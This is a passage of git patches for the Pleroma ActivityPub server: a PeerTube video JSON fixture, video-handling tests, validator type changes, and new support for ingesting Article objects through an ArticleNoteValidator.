ps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309947","height":720,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-720-hls.torrent","height":720},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720-hls.torrent&xt=urn:btih:8ed1e8bccde709901c26e315fc8f53bfd26d1ba6&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720-fragmented.mp4","height":720},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-480-fragmented.mp4","height":480,"size":249562889,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309945","height":480,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-480-hls.torrent","height":480},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480-hls.torrent&xt=urn:btih:5d14f38ded29de629668fe1cfc61a75f4cce2628&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480-fragmented.mp4","height":480},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-360-fragmented.mp4","height":360,"size":170836415,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309946","height":360,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-360-hls.torrent","height":360},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360-hls.torrent&xt=urn:btih:30125488789080ad405ebcee6c214945f31b8f30&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360-fragmented.mp4","height":360},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-240-fragmented.mp4","height":240,"size":112529249,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309948","height":240,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-240-hls.torrent","height":240},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240-hls.torrent&xt=urn:btih:8b452bf4e70b9078d4e74ca8b5523cc9dc70d10a&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240-fragmented.mp4","height":240}]}],"likes":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/likes","dislikes":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/dislikes","shares":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/announces","comments":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/comments","attributedTo":[{"type":"Person","id":"https://framatube.org/accounts/framasoft"},{"type":"Group","id":"https://framatube.org/video-channels/bf54d359-cfad-4935-9d45-9d6be93f63e8"}],"to":["https://www.w3.org/ns/activitystreams#Public"],"cc":["https://framatube.org/accounts/framasoft/followers"]},"to":["https://www.w3.org/ns/activitystreams#Public"],"cc":["https://framatube.org/accounts/framasoft/followers"],"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1",{"RsaSignature2017":"https://w3id.org/security#RsaSignature2017"},{"pt":"https://joinpeertube.org/ns#","sc":"http://schema.org#","Hashtag":"as:Hashtag","uuid":"sc:identifier","category":"sc:category","licence":"sc:license","subtitleLanguage":"sc:subtitleLanguage","sensitive":"as:sensitive","language":"sc:inLanguage","Infohash":"pt:Infohash","Playlist":"pt:Playlist","PlaylistElement":"pt:PlaylistElement","originallyPublishedAt":"sc:datePublished","views":{"@type":"sc:Number","@id":"pt:views"},"state":{"@type":"sc:Number","@id":"pt:state"},"size":{"@type":"sc:Number","@id":"pt:size"},"fps":{"@type":"sc:Number","@id":"pt:fps"},"startTimestamp":{"@type":"sc:Number","@id":"pt:startTimestamp"},"stopTimestamp":{"@type":"sc:Number","@id":"pt:stopTimestamp"},"position":{"@type":"sc:Number","@id":"pt:position"},"commentsEnabled":{"@type":"sc:Boolean","@id":"pt:commentsEnabled"},"downloadEnabled":{"@type":"sc:Boolean","@id":"pt:downloadEnabled"},"waitTranscoding":{"@type":"sc:Boolean","@id":"pt:waitTranscoding"},"support":{"@type":"sc:Text","@id":"pt:support"},"likes":{"@id":"as:likes","@type":"@id"},"dislikes":{"@id":"as:dislikes","@type":"@id"},"playlists":{"@id":"pt:playlists","@type":"@id"},"shares":{"@id":"as:shares","@type":"@id"},"comments":{"@id":"as:comments","@type":"@id"}}]} \ No newline at end of file diff --git a/test/web/activity_pub/transmogrifier/video_handling_test.exs b/test/web/activity_pub/transmogrifier/video_handling_test.exs new file mode 100644 index 000000000..69c953a2e --- /dev/null +++ b/test/web/activity_pub/transmogrifier/video_handling_test.exs @@ -0,0 +1,93 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.VideoHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Object.Fetcher + alias Pleroma.Web.ActivityPub.Transmogrifier + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "skip converting the content when it is nil" do + data = + File.read!("test/fixtures/tesla_mock/framatube.org-video.json") + |> Jason.decode!() + |> Kernel.put_in(["object", "content"], nil) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["content"] == nil + end + + test "it converts content of object to html" do + data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["content"] == + "

Après avoir mené avec un certain succès la campagne « Dégooglisons Internet » en 2014, l’association Framasoft annonce fin 2019 arrêter progressivement un certain nombre de ses services alternatifs aux GAFAM. Pourquoi ?

Transcription par @aprilorg ici : https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft

" + end + + test "it remaps video URLs as attachments if necessary" do + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + ) + + assert object.data["url"] == + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + + assert object.data["attachment"] == [ + %{ + "type" => "Link", + "mediaType" => "video/mp4", + "name" => nil, + "url" => [ + %{ + "href" => + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + + data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["attachment"] == [ + %{ + "type" => "Link", + "mediaType" => "video/mp4", + "name" => nil, + "url" => [ + %{ + "href" => + "https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + + assert object.data["url"] == + "https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206" + end +end diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index cc55a7be7..0a3291d49 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -8,7 +8,6 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do alias Pleroma.Activity alias Pleroma.Object - alias Pleroma.Object.Fetcher alias Pleroma.Tests.ObanHelpers alias Pleroma.User alias Pleroma.Web.ActivityPub.Transmogrifier @@ -355,83 +354,6 @@ test "it works for incoming unfollows with an existing follow" do refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) end - test "skip converting the content when it is nil" do - object_id = "https://peertube.social/videos/watch/278d2b7c-0f38-4aaa-afe6-9ecc0c4a34fe" - - {:ok, object} = Fetcher.fetch_and_contain_remote_object_from_id(object_id) - - result = - Pleroma.Web.ActivityPub.Transmogrifier.fix_object(Map.merge(object, %{"content" => nil})) - - assert result["content"] == nil - end - - test "it converts content of object to html" do - object_id = "https://peertube.social/videos/watch/278d2b7c-0f38-4aaa-afe6-9ecc0c4a34fe" - - {:ok, %{"content" => content_markdown}} = - Fetcher.fetch_and_contain_remote_object_from_id(object_id) - - {:ok, %Pleroma.Object{data: %{"content" => content}} = object} = - Fetcher.fetch_object_from_id(object_id) - - assert content_markdown == - "Support this and our other Michigan!/usr/group videos and meetings. Learn more at http://mug.org/membership\n\nTwenty Years in Jail: FreeBSD's Jails, Then and Now\n\nJails started as a limited virtualization system, but over the last two years they've..." - - assert content == - "

Support this and our other Michigan!/usr/group videos and meetings. Learn more at http://mug.org/membership

Twenty Years in Jail: FreeBSD’s Jails, Then and Now

Jails started as a limited virtualization system, but over the last two years they’ve…

" - - assert object.data["mediaType"] == "text/html" - end - - test "it remaps video URLs as attachments if necessary" do - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - ) - - assert object.data["url"] == - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - - assert object.data["attachment"] == [ - %{ - "type" => "Link", - "mediaType" => "video/mp4", - "url" => [ - %{ - "href" => - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206" - ) - - assert object.data["attachment"] == [ - %{ - "type" => "Link", - "mediaType" => "video/mp4", - "url" => [ - %{ - "href" => - "https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - - assert object.data["url"] == - "https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206" - end - test "it accepts Flag activities" do user = insert(:user) other_user = insert(:user) @@ -1133,75 +1055,7 @@ test "fixes data for object when url is map" do } end - test "fixes data for video object" do - object = %{ - "type" => "Video", - "url" => [ - %{ - "type" => "Link", - "mimeType" => "video/mp4", - "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" - }, - %{ - "type" => "Link", - "mimeType" => "video/mp4", - "href" => "https://peertube46fb-ad81-2d4c2d1630e3-240.mp4" - }, - %{ - "type" => "Link", - "mimeType" => "text/html", - "href" => "https://peertube.-2d4c2d1630e3" - }, - %{ - "type" => "Link", - "mimeType" => "text/html", - "href" => "https://peertube.-2d4c2d16377-42" - } - ] - } - - assert Transmogrifier.fix_url(object) == %{ - "attachment" => [ - %{ - "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mimeType" => "video/mp4", - "type" => "Link" - } - ], - "type" => "Video", - "url" => "https://peertube.-2d4c2d1630e3" - } - end - - test "fixes url for not Video object" do - object = %{ - "type" => "Text", - "url" => [ - %{ - "type" => "Link", - "mimeType" => "text/html", - "href" => "https://peertube.-2d4c2d1630e3" - }, - %{ - "type" => "Link", - "mimeType" => "text/html", - "href" => "https://peertube.-2d4c2d16377-42" - } - ] - } - - assert Transmogrifier.fix_url(object) == %{ - "type" => "Text", - "url" => "https://peertube.-2d4c2d1630e3" - } - - assert Transmogrifier.fix_url(%{"type" => "Text", "url" => []}) == %{ - "type" => "Text", - "url" => "" - } - end - - test "retunrs not modified object" do + test "returns non-modified object" do assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"} end end -- cgit v1.2.3 From 2132b24a9df8116e12abc8c458cff4c3850aeda0 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Thu, 20 Aug 2020 04:27:59 +0200 Subject: object_validators: likes & announcements as [ObjectID] --- .../web/activity_pub/object_validators/audio_video_validator.ex | 4 ++-- lib/pleroma/web/activity_pub/object_validators/note_validator.ex | 4 ++-- lib/pleroma/web/activity_pub/object_validators/question_validator.ex | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/pleroma/web/activity_pub/object_validators/audio_video_validator.ex b/lib/pleroma/web/activity_pub/object_validators/audio_video_validator.ex index a6119e627..16973e5db 100644 --- a/lib/pleroma/web/activity_pub/object_validators/audio_video_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validators/audio_video_validator.ex @@ -49,8 +49,8 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.AudioVideoValidator do field(:inReplyTo, ObjectValidators.ObjectID) field(:url, ObjectValidators.Uri) - field(:likes, {:array, :string}, default: []) - field(:announcements, {:array, :string}, default: []) + field(:likes, {:array, ObjectValidators.ObjectID}, default: []) + field(:announcements, {:array, ObjectValidators.ObjectID}, default: []) end def cast_and_apply(data) do diff --git a/lib/pleroma/web/activity_pub/object_validators/note_validator.ex b/lib/pleroma/web/activity_pub/object_validators/note_validator.ex index ab4469a59..e47cbaaea 100644 --- a/lib/pleroma/web/activity_pub/object_validators/note_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validators/note_validator.ex @@ -43,8 +43,8 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.NoteValidator do field(:inReplyTo, ObjectValidators.ObjectID) field(:url, ObjectValidators.Uri) - field(:likes, {:array, :string}, default: []) - field(:announcements, {:array, :string}, default: []) + field(:likes, {:array, ObjectValidators.ObjectID}, default: []) + field(:announcements, {:array, ObjectValidators.ObjectID}, default: []) end def cast_and_validate(data) do diff --git a/lib/pleroma/web/activity_pub/object_validators/question_validator.ex b/lib/pleroma/web/activity_pub/object_validators/question_validator.ex index 934d3c1ea..9310485dc 100644 --- a/lib/pleroma/web/activity_pub/object_validators/question_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validators/question_validator.ex @@ -47,8 +47,8 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.QuestionValidator do # short identifier for PleromaFE to group statuses by context field(:context_id, :integer) - field(:likes, {:array, :string}, default: []) - field(:announcements, {:array, :string}, default: []) + field(:likes, {:array, ObjectValidators.ObjectID}, default: []) + field(:announcements, {:array, ObjectValidators.ObjectID}, default: []) field(:closed, ObjectValidators.DateTime) field(:voters, {:array, ObjectValidators.ObjectID}, default: []) -- cgit v1.2.3 From 1b3d5956b1be7faac4e1230d788307650acce991 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Thu, 20 Aug 2020 20:03:07 +0200 Subject: Pipeline Ingestion: Article --- lib/pleroma/web/activity_pub/activity_pub.ex | 2 +- lib/pleroma/web/activity_pub/object_validator.ex | 17 +++- .../object_validators/article_note_validator.ex | 106 +++++++++++++++++++++ .../object_validators/note_validator.ex | 73 -------------- lib/pleroma/web/activity_pub/side_effects.ex | 2 +- lib/pleroma/web/activity_pub/transmogrifier.ex | 4 +- .../tesla_mock/wedistribute-create-article.json | 1 + .../article_note_validator_test.exs | 35 +++++++ .../object_validators/note_validator_test.exs | 35 ------- .../transmogrifier/article_handling_test.exs | 75 +++++++++++++++ test/web/activity_pub/transmogrifier_test.exs | 9 -- 11 files changed, 237 insertions(+), 122 deletions(-) create mode 100644 lib/pleroma/web/activity_pub/object_validators/article_note_validator.ex delete mode 100644 lib/pleroma/web/activity_pub/object_validators/note_validator.ex create mode 100644 test/fixtures/tesla_mock/wedistribute-create-article.json create mode 100644 test/web/activity_pub/object_validators/article_note_validator_test.exs delete mode 100644 test/web/activity_pub/object_validators/note_validator_test.exs create mode 100644 test/web/activity_pub/transmogrifier/article_handling_test.exs diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index bceec8bd1..3ab045737 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -84,7 +84,7 @@ defp increase_replies_count_if_reply(%{ defp increase_replies_count_if_reply(_create_data), do: :noop - @object_types ~w[ChatMessage Question Answer Audio Video Event] + @object_types ~w[ChatMessage Question Answer Audio Video Event Article] @spec persist(map(), keyword()) :: {:ok, Activity.t() | Object.t()} def persist(%{"type" => type} = object, meta) when type in @object_types do with {:ok, object} <- Object.create(object) do diff --git a/lib/pleroma/web/activity_pub/object_validator.ex b/lib/pleroma/web/activity_pub/object_validator.ex index 081f96389..bd0a2a8dc 100644 --- a/lib/pleroma/web/activity_pub/object_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validator.ex @@ -17,6 +17,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidator do alias Pleroma.Web.ActivityPub.ObjectValidators.AcceptRejectValidator alias Pleroma.Web.ActivityPub.ObjectValidators.AnnounceValidator alias Pleroma.Web.ActivityPub.ObjectValidators.AnswerValidator + alias Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidator alias Pleroma.Web.ActivityPub.ObjectValidators.AudioVideoValidator alias Pleroma.Web.ActivityPub.ObjectValidators.BlockValidator alias Pleroma.Web.ActivityPub.ObjectValidators.ChatMessageValidator @@ -160,6 +161,16 @@ def validate(%{"type" => type} = object, meta) when type in ~w[Audio Video] do end end + def validate(%{"type" => "Article"} = object, meta) do + with {:ok, object} <- + object + |> ArticleNoteValidator.cast_and_validate() + |> Ecto.Changeset.apply_action(:insert) do + object = stringify_keys(object) + {:ok, object, meta} + end + end + def validate(%{"type" => "Answer"} = object, meta) do with {:ok, object} <- object @@ -199,7 +210,7 @@ def validate( %{"type" => "Create", "object" => %{"type" => objtype} = object} = create_activity, meta ) - when objtype in ~w[Question Answer Audio Video Event] do + when objtype in ~w[Question Answer Audio Video Event Article] do with {:ok, object_data} <- cast_and_apply(object), meta = Keyword.put(meta, :object_data, object_data |> stringify_keys), {:ok, create_activity} <- @@ -241,6 +252,10 @@ def cast_and_apply(%{"type" => "Event"} = object) do EventValidator.cast_and_apply(object) end + def cast_and_apply(%{"type" => "Article"} = object) do + ArticleNoteValidator.cast_and_apply(object) + end + def cast_and_apply(o), do: {:error, {:validator_not_set, o}} # is_struct/1 isn't present in Elixir 1.8.x diff --git a/lib/pleroma/web/activity_pub/object_validators/article_note_validator.ex b/lib/pleroma/web/activity_pub/object_validators/article_note_validator.ex new file mode 100644 index 000000000..5b7dad517 --- /dev/null +++ b/lib/pleroma/web/activity_pub/object_validators/article_note_validator.ex @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidator do + use Ecto.Schema + + alias Pleroma.EctoType.ActivityPub.ObjectValidators + alias Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator + alias Pleroma.Web.ActivityPub.ObjectValidators.CommonFixes + alias Pleroma.Web.ActivityPub.ObjectValidators.CommonValidations + alias Pleroma.Web.ActivityPub.Transmogrifier + + import Ecto.Changeset + + @primary_key false + @derive Jason.Encoder + + embedded_schema do + field(:id, ObjectValidators.ObjectID, primary_key: true) + field(:to, ObjectValidators.Recipients, default: []) + field(:cc, ObjectValidators.Recipients, default: []) + field(:bto, ObjectValidators.Recipients, default: []) + field(:bcc, ObjectValidators.Recipients, default: []) + # TODO: Write type + field(:tag, {:array, :map}, default: []) + field(:type, :string) + + field(:name, :string) + field(:summary, :string) + field(:content, :string) + + field(:context, :string) + # short identifier for PleromaFE to group statuses by context + field(:context_id, :integer) + + # TODO: Remove actor on objects + field(:actor, ObjectValidators.ObjectID) + + field(:attributedTo, ObjectValidators.ObjectID) + field(:published, ObjectValidators.DateTime) + field(:emoji, ObjectValidators.Emoji, default: %{}) + field(:sensitive, :boolean, default: false) + embeds_many(:attachment, AttachmentValidator) + field(:replies_count, :integer, default: 0) + field(:like_count, :integer, default: 0) + field(:announcement_count, :integer, default: 0) + field(:inReplyTo, ObjectValidators.ObjectID) + field(:url, ObjectValidators.Uri) + + field(:likes, {:array, ObjectValidators.ObjectID}, default: []) + field(:announcements, {:array, ObjectValidators.ObjectID}, default: []) + end + + def cast_and_apply(data) do + data + |> cast_data + |> apply_action(:insert) + end + + def cast_and_validate(data) do + data + |> cast_data() + |> validate_data() + end + + def cast_data(data) do + data = fix(data) + + %__MODULE__{} + |> changeset(data) + end + + defp fix_url(%{"url" => url} = data) when is_map(url) do + Map.put(data, "url", url["href"]) + end + + defp fix_url(data), do: data + + defp fix(data) do + data + |> CommonFixes.fix_defaults() + |> CommonFixes.fix_attribution() + |> CommonFixes.fix_actor() + |> fix_url() + |> Transmogrifier.fix_emoji() + end + + def changeset(struct, data) do + data = fix(data) + + struct + |> cast(data, __schema__(:fields) -- [:attachment]) + |> cast_embed(:attachment) + end + + def validate_data(data_cng) do + data_cng + |> validate_inclusion(:type, ["Article", "Note"]) + |> validate_required([:id, :actor, :attributedTo, :type, :context, :context_id]) + |> CommonValidations.validate_any_presence([:cc, :to]) + |> CommonValidations.validate_fields_match([:actor, :attributedTo]) + |> CommonValidations.validate_actor_presence() + |> CommonValidations.validate_host_match() + end +end diff --git a/lib/pleroma/web/activity_pub/object_validators/note_validator.ex b/lib/pleroma/web/activity_pub/object_validators/note_validator.ex deleted file mode 100644 index e47cbaaea..000000000 --- a/lib/pleroma/web/activity_pub/object_validators/note_validator.ex +++ /dev/null @@ -1,73 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.NoteValidator do - use Ecto.Schema - - alias Pleroma.EctoType.ActivityPub.ObjectValidators - alias Pleroma.Web.ActivityPub.Transmogrifier - - import Ecto.Changeset - - @primary_key false - - embedded_schema do - field(:id, ObjectValidators.ObjectID, primary_key: true) - field(:to, ObjectValidators.Recipients, default: []) - field(:cc, ObjectValidators.Recipients, default: []) - field(:bto, ObjectValidators.Recipients, default: []) - field(:bcc, ObjectValidators.Recipients, default: []) - # TODO: Write type - field(:tag, {:array, :map}, default: []) - field(:type, :string) - - field(:name, :string) - field(:summary, :string) - field(:content, :string) - - field(:context, :string) - # short identifier for PleromaFE to group statuses by context - field(:context_id, :integer) - - field(:actor, ObjectValidators.ObjectID) - field(:attributedTo, ObjectValidators.ObjectID) - field(:published, ObjectValidators.DateTime) - field(:emoji, ObjectValidators.Emoji, default: %{}) - field(:sensitive, :boolean, default: false) - # TODO: Write type - field(:attachment, {:array, :map}, default: []) - field(:replies_count, :integer, default: 0) - field(:like_count, :integer, default: 0) - field(:announcement_count, :integer, default: 0) - field(:inReplyTo, ObjectValidators.ObjectID) - field(:url, ObjectValidators.Uri) - - field(:likes, {:array, ObjectValidators.ObjectID}, default: []) - field(:announcements, {:array, ObjectValidators.ObjectID}, default: []) - end - - def cast_and_validate(data) do - data - |> cast_data() - |> validate_data() - end - - defp fix(data) do - data - |> Transmogrifier.fix_emoji() - end - - def cast_data(data) do - data = fix(data) - - %__MODULE__{} - |> cast(data, __schema__(:fields)) - end - - def validate_data(data_cng) do - data_cng - |> validate_inclusion(:type, ["Note"]) - |> validate_required([:id, :actor, :to, :cc, :type, :content, :context]) - end -end diff --git a/lib/pleroma/web/activity_pub/side_effects.ex b/lib/pleroma/web/activity_pub/side_effects.ex index b5c720c7a..b9a83a544 100644 --- a/lib/pleroma/web/activity_pub/side_effects.ex +++ b/lib/pleroma/web/activity_pub/side_effects.ex @@ -336,7 +336,7 @@ def handle_object_creation(%{"type" => "Answer"} = object_map, meta) do end def handle_object_creation(%{"type" => objtype} = object, meta) - when objtype in ~w[Audio Video Question Event] do + when objtype in ~w[Audio Video Question Event Article] do with {:ok, object, meta} <- Pipeline.common_pipeline(object, meta) do {:ok, object, meta} end diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index e14936c10..80f529704 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -424,7 +424,7 @@ def handle_incoming( %{"type" => "Create", "object" => %{"type" => objtype} = object} = data, options ) - when objtype in ~w{Article Note Page} do + when objtype in ~w{Note Page} do actor = Containment.get_actor(data) with nil <- Activity.get_create_by_object_ap_id(object["id"]), @@ -518,7 +518,7 @@ def handle_incoming( %{"type" => "Create", "object" => %{"type" => objtype}} = data, _options ) - when objtype in ~w{Question Answer ChatMessage Audio Video Event} do + when objtype in ~w{Question Answer ChatMessage Audio Video Event Article} do data = Map.put(data, "object", strip_internal_fields(data["object"])) with {:ok, %User{}} <- ObjectValidator.fetch_actor(data), diff --git a/test/fixtures/tesla_mock/wedistribute-create-article.json b/test/fixtures/tesla_mock/wedistribute-create-article.json new file mode 100644 index 000000000..3cfef8b99 --- /dev/null +++ b/test/fixtures/tesla_mock/wedistribute-create-article.json @@ -0,0 +1 @@ +{"@context":["https:\/\/www.w3.org\/ns\/activitystreams"],"type":"Create","actor":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/actor\/-blog","object":{"@context":["https:\/\/www.w3.org\/ns\/activitystreams"],"type":"Article","name":"The end is near: Mastodon plans to drop OStatus support","content":"\n

The days of OStatus are numbered. The venerable protocol has served as a glue between many different types of servers since the early days of the Fediverse, connecting StatusNet (now GNU Social) to Friendica, Hubzilla, Mastodon, and Pleroma.<\/p>\n\n\n\n

Now that many fediverse platforms support ActivityPub as a successor protocol, Mastodon appears to be drawing a line in the sand. In a Patreon update<\/a>, Eugen Rochko writes:<\/p>\n\n\n\n

...OStatus...has overstayed its welcome in the code...and now that most of the network uses ActivityPub, it's time for it to go. <\/p>Eugen Rochko, Mastodon creator<\/cite><\/blockquote>\n\n\n\n

The pull request<\/a> to remove Pubsubhubbub and Salmon, two of the main components of OStatus, has already been merged into Mastodon's master branch.<\/p>\n\n\n\n

